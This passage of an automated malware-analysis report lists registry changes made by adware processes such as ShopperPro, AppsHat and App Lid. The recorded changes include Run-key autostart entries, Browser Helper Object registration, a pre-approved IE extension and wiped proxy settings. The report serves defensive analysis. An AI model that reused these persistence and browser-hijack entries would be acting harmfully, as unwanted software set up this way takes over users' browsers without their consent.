[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process WerFault.exe:1724 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "05 00 00 C0 00 00 00 00 00 00 00 00 42 51 82 00"

The process ShopperPro.exe:3932 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]
"{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "55ab86e2-1aa0-4cd0-9974-956045006e3d"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID]
"{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtycl"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "77 5F E1 0B 2C 3C D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1486.0.0.0"
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
"Version" = "2.0.7791.1486"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "62 32 71 0E 2C 3C D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 45 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Type: REG_SZ, Length: 0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.0.6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "62 32 71 0E 2C 3C D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1486.0.0.0\jsdrv.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1486.0.0.0\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process WebPlayer.exe:4672 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\WebPlayer\AppsHat]
"start-on-windows" = "true"
"Config" = "{""group-name"":""AppsHat""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6A 51 91 3B 2C 3C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\WebPlayer\AppsHat]
"last_config_request" = "Fri Jan 30 03:29:48 UTC 0200 2015"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\WebPlayer\AppsHat]
"first_run_complete" = "true"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "73 7F 0A 3E 2C 3C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 59 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\WebPlayer\AppsHat]
"Version" = "2.13"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "73 7F 0A 3E 2C 3C D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process STab_Down_6.0.6.6.exe:3552 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process App Lid-codedownloader.exe:1752 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process App Lid-codedownloader.exe:1764 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process 13BE.tmp:3768 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process regsvr32.exe:1496 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process regsvr32.exe:208 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\ShopperPro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]

The process regsvr32.exe:3324 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\InprocServer32]
"(Default)" = "%Program Files% (x86)\App Lid\App Lid-bho64.dll"

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories\{59fb2056-d625-48d0-a944-1a85b5ab2640}]
"(Default)" = ""

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\ProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO.1"

[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\InprocServer32]
"ThreadingModel" = "Apartment"
"(Default)" = "%Program Files% (x86)\App Lid\App Lid-bho64.dll"

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories]
"(Default)" = ""

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox.1\CLSID]
"(Default)" = "{22222222-2222-2222-2222-220622572243}"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox\CLSID]
"(Default)" = "{22222222-2222-2222-2222-220622572243}"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\VersionIndependentProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO\CurVer]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\ProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox.1"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox.1]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO.1]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO.1\CLSID]
"(Default)" = "{11111111-1111-1111-1111-110611571143}"

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}]
"(Default)" = "App Lid"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox\CurVer]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\TypeLib\{44444444-4444-4444-4444-440644574443}\1.0\0\win64]
"(Default)" = "%Program Files% (x86)\App Lid\App Lid-bho64.dll"

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO\CLSID]
"(Default)" = "{11111111-1111-1111-1111-110611571143}"

[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\VersionIndependentProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{11111111-1111-1111-1111-110611571143}]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

"NoExplorer" = "1"

The Application deletes the following registry key(s):

[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\TypeLib]
[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}]
[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\VersionIndependentProgID]
[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\ProgID]
[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}]
[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories]
[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\VersionIndependentProgID]
[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\InprocServer32]
[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\ProgID]
[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories\{59fb2056-d625-48d0-a944-1a85b5ab2640}]
[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\Programmable]
[HKCR\CLSID\{22222222-2222-2222-2222-220622572243}\TypeLib]
[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\InprocServer32]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{11111111-1111-1111-1111-110611571143}]
[HKCR\CLSID\{11111111-1111-1111-1111-110611571143}\Programmable]

The process regsvr32.exe:3520 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Interface\{66666666-6666-6666-6666-660666576643}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{11111111-1111-1111-1111-110611571143}]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\Wow6432Node\Interface\{66666666-6666-6666-6666-660666576643}]
"(Default)" = "ISandBox"

[HKCR\Interface\{66666666-6666-6666-6666-660666576643}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\VersionIndependentProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\InprocServer32]
"(Default)" = "%Program Files% (x86)\App Lid\App Lid-bho.dll"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{11111111-1111-1111-1111-110611571143}]
"NoExplorer" = "1"

[HKCR\Interface\{55555555-5555-5555-5555-550655575543}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{66666666-6666-6666-6666-660666576643}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\Interface\{55555555-5555-5555-5555-550655575543}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\Interface\{66666666-6666-6666-6666-660666576643}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\Wow6432Node\Interface\{55555555-5555-5555-5555-550655575543}]
"(Default)" = "ICrossriderBHO"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox\CLSID]
"(Default)" = "{22222222-2222-2222-2222-220622572243}"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\Wow6432Node\Interface\{55555555-5555-5555-5555-550655575543}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}]
"(Default)" = "App Lid"

[HKCR\TypeLib\{44444444-4444-4444-4444-440644574443}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\App Lid\App Lid-bho.dll"

[HKCR\TypeLib\{44444444-4444-4444-4444-440644574443}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Wow6432Node\Interface\{55555555-5555-5555-5555-550655575543}\TypeLib]
"Version" = "1.0"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO\CurVer]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\InprocServer32]
"(Default)" = "%Program Files% (x86)\App Lid\App Lid-bho.dll"

[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\VersionIndependentProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\ProgID]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO.1"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox.1]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox"

[HKCR\Wow6432Node\CLSID\{22222222-2222-2222-2222-220622572243}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644574443}"

[HKCR\Interface\{55555555-5555-5555-5555-550655575543}]
"(Default)" = "ICrossriderBHO"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO.1]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.BHO.1\CLSID]
"(Default)" = "{11111111-1111-1111-1111-110611571143}"

[HKCR\Wow6432Node\CLSID\{11111111-1111-1111-1111-110611571143}\Implemented Categories\{59fb2056-d625-48d0-a944-1a85b5ab2640}]
"(Default)" = ""

[HKCR\TypeLib\{44444444-4444-4444-4444-440644574443}\1.0]
"(Default)" = "722d4692059d4f6e9e4fe6c89dbafe3b0065743 Type Library"

[HKCR\Interface\{66666666-6666-6666-6666-660666576643}]
"(Default)" = "ISandBox"

[HKCR\722d4692059d4f6e9e4fe6c89dbafe3b0065743.Sandbox.1\CLSID]
